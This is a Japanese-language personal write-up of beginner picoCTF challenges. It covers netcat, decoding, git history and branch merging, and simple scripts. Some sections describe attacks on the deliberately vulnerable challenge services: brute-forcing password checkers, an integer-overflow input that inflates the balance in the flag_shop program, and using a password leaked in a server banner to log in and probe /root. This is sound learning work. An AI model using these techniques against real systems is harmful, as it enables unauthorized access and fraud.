player posiの左の値が小さくなる。@が上に移動するので、wは上に進むのようだ。sは左の値が大きくなる。下に進む。aはplayer posiの右の値が変わる。右の値が小さくなり、左へ進む。dは右の値が大きくなり、右へ進む。lを押すと@と@の右の・が全部消える。よくわからない。pはYou win!と出てくるがflagはない。移動させるだけではダメみたいだ、ghidraを用いてみた方がよさそうだ。
pが問題を解いてくれるコマンドのようだ。

whileの抜け方はEnd tile positionとplayer posiが一致した時である。
そして、終わったときにif (local_aa4 != '\0') {が正ならflagがゲットできるようだ。
ここをアセンブラで確認するとtest al,alとなっている。cmpではないようだ。

知識(test al,al)
test al,al (TESTとCMP | さすらいのプログラマ)つまり、0か否かオペランドと比較するときに使われるようだ。

local_aa4についてコード見てみたが、あまりわかりそうにない。でも、スタック上にあるこれの値を書き換えるのがこの問題のようだ。いつものように文字列を入力して、、、wやdの入力でスタック領域を変えるということかな。 0x080497e6 <+130>: mov BYTE PTR [ebp-0xaa5],alこれはebpから0xaa5離れたところにalつまり、local_aa4があるということだろうか?

ここでお手上げ、(Babygame01 - picoCTF 2023 writeup)を見た

PicoCTFのらいとあっぷみたいなやつ。(General Skillsの旅)

はじめに

picoCTFに取り組んで行くときの考えていたことを書き記す。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。一般的な技術も必要と思ったので取り組む。それでもまずは10000solves以上のものに取り組んで行こうと思う。

開閉

Lets Warm Up

If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?という言葉だけが渡されている。

0x70から始まるASCIIは何かということかな?0x70はpである。picoCTF{p}として終了。

Lets Warm Up

What is 0x3D (base 16) in decimal (base 10)?とうことでweb上のbase16とbase10を変換するツールを利用。終了。
利用ツール:Convert Base-16 to Base-10

2Warm

Can you convert the number 42 (base 10) to binary (base 2)?前の問題と同じな予感。 ツール利用して終了。

what's a net cat?

Using netcat (nc) is going to be pretty important. Can you connect to jupiter.challenges.picoctf.org at port 25103 to get the flag?という言葉が与えられている。

知識
netcat netcatについて

IPアドレスが指定されていないがどう利用していくのだろうか? 指定されているjupiter.challenges.picoctf.orgについて少し見ていく。

知識
.orgドメイン .orgについて

調べてみるとドメイン入力でncしているものもあったのでnc jupiter.challenges.picoctf.org 25103を実行。flagゲット。

strings it

Can you find the flag in file without running it?ということで、ファイルが与えられているので、stringsコマンドをたたく。あれ。思ってたのと違う。そこまで簡単じゃないようだ。filestringsコマンドを行ってみる。 man pageを見ろってことかな?見てみたけど、man pageって仕様書のようなものなのでヒントにならなかった。 なんとなく、出力の中にflagがあるのだと思いstrings strings | grep "picoCTF"を実行。flagゲット。

Bases

What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases. ベース64らへんでエンコードされてそう。ツール(https://www.en-pc.jp/tech/base64.php#result)でデコード。 l3arn_th3_r0p35 なんか思ってたんとちゃうけど、flagの{}内に入れて実行flagだった。

First Grep

Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way.ということで毎度ファイルを渡された。 初手はfile,stringsコマンド テキストファイルでlineが多いという感じかな。この中から文字列を見つけるようだ。grepですね。終了。

Description

Run the Python script code.py in the same directory as codebook.txt.実行するだけ。

convertme.py

Run the Python script and convert the given number from decimal to binary to get the flag. 10進数を2進数に変換するようだ。とりま、実行。 ということでこれに答えて、あっていたらflagゲット。

fixme1.py

Fix the syntax error in this Python script to print the flag. なにかしらのエラーを修正する問題かな?実行してみましょう。 予期しないインデントがあるようだ。それを消したら終了。

fixme2.py

Fix the syntax error in the Python script to print the flag. 前問と同じようなことかな。トリマ実行。 同値の表し方が違っているようだ。直したら終了。

Glitch Cat

Our flag printing service has started glitching! glitchingを知らない。一時的な障害の意味があるようだ。つまり、フラグを出してくれるサーバが故障したということかな?とりま、ncしてみましょう。nc saturn.picoctf.net 55826
つまり、chr(0xなんちゃら)を変換すればよさそうだ。つまり、ASCIIコード表に照らし合わせればよいのかな? プログラムでも変換できるかも。google colabで実行したら予想通り変換してくれた。終了。

HashingJobApp

If you want to hash with the best, beat this test!ということで実行。
ということで、md5ハッシュ値を出力させに行く。

複数回問われるが、全問あっているとflagゲット。

PW Crack 1

Can you crack the password to get the flag? Download the password checker here and you'll need the encrypted flag in the same directory too. ということで、暗号化されたファイルとそれを解読するツール(python)が渡されている。

└─# python3 level1.py
Please enter correct password for flag: hugahuga
That password is incorrect

どうやらパスが正しくないと駄目なようだ。 level1.pyのコード自体を見てみる。そのとき、if文の条件にそのままパスが書かれている。 それを打ってみる。flagゲット。

PW Crack 2

前問題と同様な問題。 今回はif文の条件にそのまま書かれていない。 chr(0x64) + chr(0x65) + chr(0x37) + chr(0x36)と書いてある。 これをASCII文字コードを用いて文字列に直せばよいのかな。

出てきた。終了。

PW Crack 3

Can you crack the password to get the flag? Download the password checker here and you'll need the encrypted flag and the hash in the same directory too. There are 7 potential passwords with 1 being correct. You can find these by examining the password checker script.

今回はパスをハッシュ化して認証を行っているようだ。これでハッシュ値をべた書きでもパスはばれないかも。 ただ今回は7つのパス候補が渡されているので、それを総当たりしたらflagゲット。

PW Crack 4

前問題と似ているが異なるのはパス候補が100個あるということ。 プログラム的に回すのがいいのか。抜け道があるのか。

と思いましたが、pythonのコードを書き換えて(for文使う)総当たり攻撃でやりました。 フラグゲット。

[2023/11/23]

PW Crack 5

前問題と似ているが異なるのはパスがdictionary.txtというファイルで渡されていること。 プログラム的に回すのがいいと思った。ファイルを一行ずつ読み込んで入力するコードを回した。

つまり、pythonのコードを書き換えて(for文使う)総当たり攻撃でやりました。 フラグゲット。

runme.py

実行してもいいのだろうけど、ハードコードされていたので打ってみた。 終了。

Description

スクリプトを渡された。

└─# python3 serpentine.py

    Y
  .-^-.
 /     \      .- ~ ~ -.
()     ()    /   _ _   `.                     _ _ _
 \_   _/    /  /     \   \                . ~  _ _  ~ .
   | |     /  /       \   \             .' .~       ~-. `.
   | |    /  /         )   )           /  /             `.`.
   \ \_ _/  /         /   /           /  /                `'
    \_ _ _.'         /   /           (  (
                    /   /             \  \
                   /   /               \  \
                  /   /                 )  )
                 (   (                 /  /
                  `.  `.             .'  /
                    `.   ~ - - - - ~   .'
                       ~ . _ _ _ _ . ~

Welcome to the serpentine encourager!


a) Print encouragement
b) Print flag
c) Quit

What would you like to do? (a/b/c)

実行すると以上のような結果が出る
つまり、bを選ぶとflagゲットですね。

Oops! I must have misplaced the print_flag function! Check my source code!

ただbを選んでもダメみたい。コードを見るとflagを表示する関数をbの実行部分に書かれていないことが分かった、ので、自分でコードを書くとflagゲット。 終了

First Find

Unzip this archive and find the file named 'uber-secret.txt' ということで、unzipしてから、該当ファイルを探すということらしい。

└─# unzip files.zip

をするとunzipしたときのフォルダ構造が表示されているので、そこから該当ファイルを見つけるだけ。

ファイルパスを表示するコマンドは

└─# find -name uber-secret.txt

とやると探したファイルパスが表示される。 終了

Big Zip

Unzip this archive and find the flag. ということで、unzipして探していく。

思っている以上に多い。 よって、ファイル内のpico{}をもとにファイルパスを見つけていこうと思う。 【find・grep】特定の文字列を含むファイルのリストを取得する方法。 を参考に見つけていこうと思う。

└─# grep picoCTF -rl big-zip-files

を実行すると一つのファイルが見つかる。 これによってそのファイルをcatして終了。

repetitions

Can you make sense of this file? Download the file here.

よくわからんファイルにはまずfileコマンド。

└─# file enc_flag
enc_flag: ASCII text

テキストファイルらしい。

次はstringsコマンド。

└─# strings enc_flag
VmpGU1EyRXlUWGxTYmxKVVYwZFNWbGxyV21GV1JteDBUbFpPYWxKdFVsaFpWVlUxWVZaS1ZWWnVh
RmRXZWtab1dWWmtSMk5yTlZWWApiVVpUVm10d1VWZFdVa2RpYlZaWFZtNVdVZ3BpU0VKeldWUkNk
MlZXVlhoWGJYQk9VbFJXU0ZkcVRuTldaM0JZVWpGS2VWWkdaSGRXCk1sWnpWV3hhVm1KRk5XOVVW
VkpEVGxaYVdFMVhSbFZrTTBKVVZXMTRWMDVHV2toalJYUlhDazFyV25sVVZXaHpWakpHZEdWRlZs
aGkKYlRrelZERldUMkpzUWxWTlJYTkxDZz09Cg==

と出てきた。これ、進〇ゼ〇でやったやつ!!と言わんばかりに最後に==とあるので、 Base64エンコードされていると予想。cyberchefでfrom Base64を行う。 出てきた結果も==で終わっている。問題の名前がrepetitionsということでfrom Base64を繰り返していくのだと推測。 何回か重ねていくとflagゲット。

考察 ここまでできるものをやってきたがここからちょっと苦戦しつつある。 頑張っていこうと思う。
[2023/12/20]

ASCII Numbers

Convert the following string of ASCII numbers into a readable string: 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7dということで、16進数を文字列に直すようです。

pythonで変換した0xを接頭語にする16進数を数値に直すときはint(数値,0)とするようです。

string = "0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x35 0x63 0x31 0x31 0x5f 0x6e 0x30 0x5f 0x71 0x75 0x33 0x35 0x37 0x31 0x30 0x6e 0x35 0x5f 0x31 0x6c 0x6c 0x5f 0x74 0x33 0x31 0x31 0x5f 0x79 0x33 0x5f 0x6e 0x30 0x5f 0x6c 0x31 0x33 0x35 0x5f 0x34 0x34 0x35 0x64 0x34 0x31 0x38 0x30 0x7d"
lis = string.split(" ")
ans = ""
for number in lis:
  char = chr(int(number,0))
  ans= ans + char

これで終了。

[2024/01/18]

money-ware

Flag format: picoCTF{Malwarename} The first letter of the malware name should be capitalized and the rest lowercase. Your friend just got hacked and has been asked to pay some bitcoins to 1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX. He doesn’t seem to understand what is going on and asks you for advice. Can you identify what malware he’s being a victim of?

ということで、何かしらのマルウェアを特定する問題のようだ。ハッシュが渡されているのでvirustotalに入れてみたけど該当なし?原因はわからないけど無理ならば、googleで検索。終了。

plumbing

Sometimes you need to handle process data outside of a file. Can you find a way to keep the output from this program and search for the flag? Connect to jupiter.challenges.picoctf.org 14291.

ということで、よくわからぬのでjupiter.challenges.picoctf.org 1429にアクセスする。
nc jupiter.challenges.picoctf.org 1429でアクセスすると大量の文字が出力された。
この中からflagを見つける問題のようだ。
文字列検索といったらgrepを用いると考えた。
nc jupiter.challenges.picoctf.org 14291 | grep "picoCTF"とコマンドを打ち込んで終了

Based

To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337? Connect with nc jupiter.challenges.picoctf.org 15130.

└─# nc jupiter.challenges.picoctf.org 15130
Let us see how data is stored
test
Please give the 01110100 01100101 01110011 01110100 as a word.
...
you have 45 seconds.....

Input:
01110100 01100101 01110011 01110100
WRONG!

となった。

[2024/01/19]

[2024/01/22]

chrono

How to automate tasks to run at intervals on linux servers?
タスクの自動化を行うように設定するようだ。全く知らない。
調べてみると「cron」というコマンドでタスクスケジュールを管理できるようだ。

知識(cron)
cron (Linux - Job Scheduling) を参考にした。crontabというファイルを編集することで管理できる。

crontabファイルを確認するとflagあり。終了。

useless

There's an interesting script in the user's home directory The work computer is running SSH. We've been given a script which performs some basic calculations, explore the script and find a flag.

picoplayer@challenge:~$ cat useless
#!/bin/bash
# Basic mathematical operations via command-line arguments

if [ $# != 3 ]
then
  echo "Read the code first"
else
        if [[ "$1" == "add" ]]
        then
          sum=$(( $2 + $3 ))
          echo "The Sum is: $sum"

        elif [[ "$1" == "sub" ]]
        then
          sub=$(( $2 - $3 ))
          echo "The Substract is: $sub"

        elif [[ "$1" == "div" ]]
        then
          div=$(( $2 / $3 ))
          echo "The quotient is: $div"

        elif [[ "$1" == "mul" ]]
        then
          mul=$(( $2 * $3 ))
          echo "The product is: $mul"

        else
          echo "Read the manual"

        fi
fi

ということで、./useless add 1 2 のようなコマンドを入力するとそれに応じた四則演算を返してくれるようだ。
どうやってflagを回収するのだろうか。
考えてみたがわからず、WriteUp見る(picoCTF 2023 100-points Write up)。「echo "Read the manual"」に引っかかったようだ。確かに最初のechoでcodeを読めなのに対して、manualを読めはおかしさを覚えてもよい。manコマンドでマニュアルは開けれる。

開いたら下にflagあり。終了。

Based

To get truly 1337, you must understand different data encodings, such as hexadecimal or binary. Can you get the flag from this program to prove you are on the way to becoming 1337?ということらしい。 1337とはleetというものがあるらしい。つまり、置換やエンコードのようなものだと思う。

知識(1337)
1337 (Leet)

まずは接続してみる。

└─# nc jupiter.challenges.picoctf.org 15130
Let us see how data is stored
container
Please give the 01100011 01101111 01101110 01110100 01100001 01101001 01101110 01100101 01110010 as a word.
...
you have 45 seconds.....

Input:

と出てくる。Inputにcontainerとすると次に進む。

container
Please give me the  163 154 165 144 147 145 as a word.
Input:

ここでcontainerを入力するとWRONGと出てくる。初めはわからなかったが、CyberChefを使うと簡単に攻略できる。magicという機能で初めの二進数はbinary(二進数)でASCII文字がエンコードされている。次の165のような大きなものはOctal(8進数)でASCII文字がエンコードされていた。それを突破すると

Input:
sludge
Please give me the 6c696d65 as a word.
Input:

と出てくる。これはHex(16進数)でエンコードされているようだ。つまり、エンコードされているものをデコードするようにcyberchefを使えば、flagゲット。

[2024/01/30]

flag_shop

There's a flag shop selling stuff, can you buy a flag? Source. Connect with nc jupiter.challenges.picoctf.org 44566. ということで、flagを購入するプログラムが渡された。

見たい人はクリック

#include <stdio.h>
#include <stdlib.h>
int main()
{
    setbuf(stdout, NULL);
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){
        
        printf("Welcome to the flag exchange\n");
        printf("We sell flags\n");

        printf("\n1. Check Account Balance\n");
        printf("\n2. Buy Flags\n");
        printf("\n3. Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);

残高は$1100あることが分かる。   1が残高照会、2が購入、3が退出。

        if(menu == 1){
            printf("\n\n\n Balance: %d \n\n\n", account_balance);
        }
        else if(menu == 2){
            printf("Currently for sale\n");
            printf("1. Defintely not the flag Flag\n");
            printf("2. 1337 Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);

1だとそのまま残高を表示。 2だと2つのアクションが選べる。

            if(auction_choice == 1){
                printf("These knockoff Flags cost 900 each, enter desired quantity\n");
                
                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 900*number_flags;
                    printf("\nThe final cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour current balance after transaction: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds to complete purchase\n");
                    }
                }
            }

1つ目のアクションが900のコストを払って、flagを変えるようだ。でも表示される?

            else if(auction_choice == 2){
                printf("1337 flags cost 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to buy one");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);
                
                if(bid == 1){
                    
                    if(account_balance > 100000){
                        FILE *f = fopen("flag.txt", "r");
                        if(f == NULL){

                            printf("flag not found: please run this on the server\n");
                            exit(0);
                        }
                        char buf[64];
                        fgets(buf, 63, f);
                        printf("YOUR FLAG IS: %s\n", buf);
                        }
                    
                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                    }}

            }
        }
        else{
            con = 1;
        }

    }
    return 0;
}

2つ目のアクションでは100000のコストで購入できるようだ。ここでflagが表示されるようだ。

ざっとコードを確認した。初手では持っている残高が1100でflagを購入することができない。増やすことを考えた。ここで、残高が動くのはメニュー1のDefintely not the flag Flagである。しかし、この中では残高を減らす作業しかない。そこで思ったのが、-*-=+というようにマイナスをプラスにしようと考えた。しかし、intがせいであるか否かをifでチェックしているのでマイナスを扱うことができない。、、そこで思いついたのがint型のオーバーフローである。

知識(オーバーフロー(int))
オーバーフロー(int) (C言語のint型で最大値を超えるとどうなるのか解説)を参考にした。つまり、int型では最大2147483647までしか表現できない。それ以上入力すると-で表現されてしまうということ。

つまり、2147483648を入力すればできるのではないかと考えた。結論できない。確かに2147483648はintにとってはすでにマイナス値であるのではじかれてしまう。そこで2147483647で行ってみた。

These knockoff Flags cost 900 each, enter desired quantity
2147483647

The final cost is: -900

Your current balance after transaction: 2000

Welcome to the flag exchange
We sell flags

お!増えた。

int total_cost = 0;
total_cost = 900*number_flags;

ここのコードでオーバーフローを起こしているようだ。納得。

These knockoff Flags cost 900 each, enter desired quantity
2147483646

The final cost is: -1800

Your current balance after transaction: 2900

2147483647=-1、2147483646=-2といった感じ。つまり、2147483647から120くらい引いた2147483527を入力すればおK。終了。

Super SSH

Using a Secure Shell (SSH) is going to be pretty important. Can you ssh as ctf-player to titan.picoctf.net at port 63095 to get the flag? You'll also need the password f3b61b38. If asked, accept the fingerprint with yes. If your device doesn't have a shell, you can use: https://webshell.picoctf.org If you're not sure what a shell is, check out our Primer: https://primer.picoctf.com/#_the_shell
ということである。sshの構文をおさらい。(sshコマンド)を参考にした。ssh [option] (user@)host [command]とするようだ。ユーザー名、ホスト名、ポート番号、パスワードを確認して、正しく打てばflagゲット。

Commitment Issues

I accidentally wrote the flag down. Good thing I deleted it! You download the challenge files here: challenge.zip
ということでzip解凍すると、message.txtというファイルと.gitというディレクトリが渡された。gitによるバージョン管理をしているので、そこから履歴を見つける問題かな?

commitしていった内容を確認できればよいと考えた。調べるとできるようだ(commitしたファイルや変更箇所は"git show"で確認できる)。.gitがあるディレクトリで'git show'を行うと変更点とともにflagが手に入る。終了。

Time Machine

What was I last working on? I remember writing a note to help me remember...
さっきと同じようにgit showで見えた。さっきの問題との違いは何だったのか、、

Blame Game

Someone's commits seems to be preventing the program from working. Who is it?
今回はcommitでditを邪魔した人を見てけらいいと思い、考えたのはcommitした人の名前が分かればいいと思った。ので(GitのCommitユーザを修正する方法)を参考に表示してみた。

└─# git log --pretty=full
commit 83afd3ebd7899251a19d290df92fd1bfc9998adb (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Commit: picoCTF <ops@picoctf.com>

    important business work

commit 760de15c177831fee8b2965e57d1461423ad5ed0
Author: picoCTF <ops@picoctf.com>
Commit: picoCTF <ops@picoctf.com>

    important business work

commit 7fce0961829b0262ed95799aa430822cac6c6a0b
Author: picoCTF <ops@picoctf.com>
Commit: picoCTF <ops@picoctf.com>

    important business work

commit daa2679f1c00642ef399fadcd52cf8f9c16020f7
Author: picoCTF <ops@picoctf.com>
Commit: picoCTF <ops@picoctf.com>

    important business work

commit 7b07ab4c87df7198ce8c0ece9f67e8b7f1ddb9f8
Author: picoCTF <ops@picoctf.com>
Commit: picoCTF <ops@picoctf.com>

    important business work

さっきとは違いそう。git logでやってもいい感じにならない。 そこで、(Gitでコミットメッセージや変更内容を検索して確認する方法)からmessage.pyに残っている文字列ができた時を見てみる。

└─# git log -S "Hello"
commit c9e851509190f5887e91339ee18087e3e77ebfda
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:01 2024 +0000

    create top secret project

さっきまでとは違う出力。でも、この時にファイルができたような感じだ。詳しく見てみる。

└─# git show c9e851509190f5887e91339ee18087e3e77ebfda
commit c9e851509190f5887e91339ee18087e3e77ebfda
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:01 2024 +0000

    create top secret project

diff --git a/message.py b/message.py
new file mode 100644
index 0000000..7df869a
--- /dev/null
+++ b/message.py
@@ -0,0 +1 @@
+print("Hello, World!")

ビンゴ。この日に今のpythonが作成され始めているといえるでは、だれが、これを修正したかを見ていく。でも、このcommitIDの直近とかを表示するのがなさそう。(git logを使ってコミット履歴を閲覧する方法【初心者向け】)から特定のファイルに対するcommitに絞ることができるようだ。git log message.pyとしたらflagゲット。

Collaborative Development

My team has been working very hard on new features for our flag printing program! I wonder how they'll work together?
となわけで、flag.pyと.gitを渡された。まずはflag.pyを見てみる。

└─# cat flag.py
print("Printing the flag...")

特に変わったことはない。次にgit loggit showを見てみる。

└─# git log
commit eb19d0e3c28278752f0735c4451b885136a24105 (HEAD -> main)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:49 2024 +0000

    init flag printer
└─# git show
commit eb19d0e3c28278752f0735c4451b885136a24105 (HEAD -> main)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:49 2024 +0000

    init flag printer

diff --git a/flag.py b/flag.py
new file mode 100644
index 0000000..77d6cec
--- /dev/null
+++ b/flag.py
@@ -0,0 +1 @@
+print("Printing the flag...")

となる。ここも普通。hints見てみた。「git branch -a will let you see available branches」だそうだ。そういう機能もありましたね。

└─# git branch -a
  feature/part-1
  feature/part-2
  feature/part-3
* main

(git branch コマンド)からリモートブランチを含んだブランチの一覧を見たようだ。 (git checkout解説)、(5. 並行で作業する)からbranchの機能を理解した。つまり、今は4つの分岐点(分岐してないかも)があるということ。今自身がいるのはmainというところにいる。つまり、checkou

└─# git checkout feature/part-1
Switched to branch 'feature/part-1

おー、そういうことね。branchに移動できた。 ちなみに1の方でもshowしてみる。

└─# git show
commit 0cd57e0aedc31a1a92e0b79235c818de437cde8e (HEAD -> feature/part-1)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:49 2024 +0000

    add part 1

diff --git a/flag.py b/flag.py
index 77d6cec..6e17fb3 100644
--- a/flag.py
+++ b/flag.py
@@ -1 +1,2 @@
 print("Printing the flag...")
+print("picoCTF{t3@mw0rk_", end='')
\ No newline at end of file

flagの一部分が出てきた。つまり、異なるbranchで編集しているので引っ付ければよいということになる。考えられるのは1.異なるbranchに移動してshowして差分を自身でくっつける。2.margeみたいなのをすると勝手にくっついたりするのか?

└─# git show
commit 7064732e2fd39d2247bd6ba2ccc4cf9576974d38 (HEAD -> feature/part-2)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:49 2024 +0000

    add part 2

diff --git a/flag.py b/flag.py
index 77d6cec..7ab4e25 100644
--- a/flag.py
+++ b/flag.py
@@ -1 +1,3 @@
 print("Printing the flag...")
+
+print("m@k3s_th3_dr3@m_", end='')
\ No newline at end of file
└─# git show
commit 8395824cc0ce486d1be9ab874bfedb2cec2ea398 (HEAD -> feature/part-3)
Author: picoCTF <ops@picoctf.com>
Date:   Tue Mar 12 00:07:49 2024 +0000

    add part 3

diff --git a/flag.py b/flag.py
index 77d6cec..4672a5c 100644
--- a/flag.py
+++ b/flag.py
@@ -1 +1,3 @@
 print("Printing the flag...")
+
+print("w0rk_2c91ca76}")

やはり、合体させればいいっぽい。hintsその2「How can file 'diffs' be brought to the main branch? Don't forget to !git config」つまり、差分だけをmainに持ってくることができるようだ。それがmargeなのかな。やってみる。

└─# git merge feature/part-1
Updating eb19d0e..0cd57e0
Fast-forward
 flag.py | 1 +
 1 file changed, 1 insertion(+)

できたっぽい。

└─# cat flag.py
print("Printing the flag...")
print("picoCTF{t3@mw0rk_", end='')

おー!変更されている。
続いて、2のbranchもやってみる。

└─# git merge feature/part-2
Committer identity unknown

*** Please tell me who you are.

Run

  git config --global user.email "you@example.com"
  git config --global user.name "Your Name"

to set your account's default identity.
Omit --global to set the identity only in this repository.

fatal: unable to auto-detect email address (got 'root@d6a342826ddd.(none)')

あら、権限がないみたいな感じ?いや、ただただ名前とメールアドレスがないだけ。適当に設定した。

└─# git merge feature/part-2
Auto-merging flag.py
CONFLICT (content): Merge conflict in flag.py
Automatic merge failed; fix conflicts and then commit the result.

違うエラーが出た。(6. マージでの衝突を解決する)を参考にする。

└─# cat flag.py
print("Printing the flag...")
<<<<<<< HEAD
print("picoCTF{t3@mw0rk_", end='')
=======

print("m@k3s_th3_dr3@m_", end='')
>>>>>>> feature/part-2

競合しているっぽい。

└─# vi flag.py
└─# git add flag.py
└─# git commit -m "2ブランチをマージ"
[main 3d173b4] 2ブランチをマージ
└─# git show
commit 3d173b420ffaca852331ee8fe04682965c459823 (HEAD -> main)
Merge: 0cd57e0 7064732
Author: pico <pico@gmail.com>
Date:   Fri Mar 15 11:25:29 2024 +0000

    2ブランチをマージ

diff --cc flag.py
index 6e17fb3,7ab4e25..b8b48f5
--- a/flag.py
+++ b/flag.py
@@@ -1,2 -1,3 +1,2 @@@
  print("Printing the flag...")
- print("picoCTF{t3@mw0rk_", end='')
 -
 -print("m@k3s_th3_dr3@m_", end='')
++print("picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_", end='')

としてcommit完了。この作業をfeature/part-3でも行えばflagゲット。

binhexa

How well can you perfom basic binary operations? Start searching for the flag here nc titan.picoctf.net 56491

└─# nc titan.picoctf.net 56491

Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.

Binary Number 1: 01101001
Binary Number 2: 00100011


Question 1/6:
Operation 1: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result:

ncコマンドしてみると以上のような出力が得られる。見た感じnumber1と2をOperationで与えられた演算をしていく問題のようだ。python

BN1= int("01101001",2)
BN2= int("00100011",2)
bin(BN2+BN1)[2:]

として演算子を指定されたものに変えていけばflag出る。

Want to play a game? As you use more of the shell, you might be interested in how they work! Binary search is a classic algorithm used to quickly find an item in a sorted list. Can you find the flag? You'll have 1000 possibilities and only 10 guesses. Cyber security often has a huge amount of data to look through - from logs, vulnerability reports, and forensics. Practicing the fundamentals manually might help you in the future when you have to write your own tools! You can download the challenge files here: challenge.zip ssh -p 57597 ctf-player@atlas.picoctf.net Using the password f3b61b38. Accept the fingerprint with yes, and ls once connected to begin. Remember, in a shell, passwords are hidden!

あまりわからない。与えられたファイルは以下のようなbashが書かれている。

└─# cat guessing_game.sh

            #!/bin/bash

            # Generate a random number between 1 and 1000
            target=$(( (RANDOM % 1000) + 1 ))

            echo "Welcome to the Binary Search Game!"
            echo "I'm thinking of a number between 1 and 1000."

            # Trap signals to prevent exiting
            trap 'echo "Exiting is not allowed."' INT
            trap '' SIGQUIT
            trap '' SIGTSTP

            # Limit the player to 10 guesses
            MAX_GUESSES=10
            guess_count=0

            while (( guess_count < MAX_GUESSES )); do
                read -p "Enter your guess: " guess

                if ! [[ "$guess" =~ ^[0-9]+$ ]]; then
                    echo "Please enter a valid number."
                    continue
                fi

                (( guess_count++ ))

                if (( guess < target )); then
                    echo "Higher! Try again."
                elif (( guess > target )); then
                    echo "Lower! Try again."
                else
                    echo "Congratulations! You guessed the correct number: $target"

                    # Retrieve the flag from the metadata file
                    flag=$(cat /challenge/metadata.json | jq -r '.flag')
                    echo "Here's your flag: $flag"
                    exit 0  # Exit with success code
                fi
            done

            # Player has exceeded maximum guesses
            echo "Sorry, you've exceeded the maximum number of guesses."
            exit 1  # Exit with error code to close the connection

つまり、ランダムに生成された数値を10回の挑戦で当てるゲームということのようだ。hintとしてhighかlowかを教えてくれるようだ。1000の半分500からスタートしてhighかlowかでその範囲を狭めていけばいい。理論的に考えると210=1024ということで,半分ずつ狭めていけば、1000の内の1つの一意の数に定めることは可能と考えられる。

endianness

Know of little and big endian?
ということで、いちおうもう一度調べる。

知識(「ビッグエンディアン」と「リトルエンディアン」の違い)
「ビッグエンディアン」と「リトルエンディアン」の違い (「ビッグエンディアン」と「リトルエンディアン」の違い)を参考にした。数値の並べる順番左読みか右読みかみたいな話かな?

与えられた、ランダム文字列を与えられるようだ。それをリトルエンディアンにしたものを答えさせる。それをビックエンディアンでも答える。両方解けたらflagゲットといった感じ。コードを実行すれば答えが出てくるのではないか?自力で解かなくても良さそう。
与えられたコードのgenerate_random_word()で定義されるwordを与えられた文字列にして、実行すれば同じ答えが出力される。終了。

dont-you-love-banners

Can you abuse the banner? The server has been leaking some crucial information on tethys.picoctf.net 55702. Use the leaked information to get to the server. To connect to the running application use nc tethys.picoctf.net 62012. From the above information abuse the machine and find the flag in the /root directory.
だそうです、ncしてみる

└─# nc tethys.picoctf.net 62012
*************************************
**************WELCOME****************
*************************************

what is the password?

パスワードを求められる。何も知らない。 何位頭の情報を流している55702にアクセス。

└─# nc tethys.picoctf.net 55702
SSH-2.0-OpenSSH_7.6p1 My_Passw@rd_@1234

sshと何かしらのパスワードを教えてくれた。このパスが先に求められたパスではなさそう。 

知識(ncコマンド)
ncコマンド (ncコマンドでサーバーと通信させよう!)を参考にした。「ncコマンドは、netcatを省略したもので、TCPまたはUDPの通信を使ってコマンドラインからデータを送受信するコマンドです。」だそうです。つまり、pico側で立っているアプリに接続してプログラムと送受信している感じ仮名。

パスではないと思っていたが、My_Passw@rd_@1234がパスワードだった。

└─# nc tethys.picoctf.net 62012
*************************************
**************WELCOME****************
*************************************

what is the password?
My_Passw@rd_@1234
What is the top cyber security conference in the world?

という質問が来た。調べてみてもいろいろあってわかりにくい。しかし、しらべて入力したらDEF CONで正解だった。 the first hacker ever was known for phreaking(making free phone calls), who was it?次の質問はこれ。調べて入力したらあたってplayer@challengeにログインできた。

player@challenge:~$ ls
ls
banner  text
player@challenge:~$ cat text
cat text
keep digging
player@challenge:~$ cat banner
cat banner
*************************************
**************WELCOME****************
*************************************

となっている。今回の問題的にもrootにアクセスするのが目的。行ってみる。

player@challenge:/root$ ls
ls
flag.txt  script.py
player@challenge:/root$ cat flag.txt
cat flag.txt
cat: flag.txt: Permission denied

flagにはアクセスできないようだ。

player@challenge:/root$ ls -al
ls -al
total 16
drwxr-xr-x 1 root root    6 Mar 12 00:18 .
drwxr-xr-x 1 root root   29 Mar 16 06:34 ..
-rw-r--r-- 1 root root 3106 Apr  9  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
-rwx------ 1 root root   46 Mar 12 00:18 flag.txt
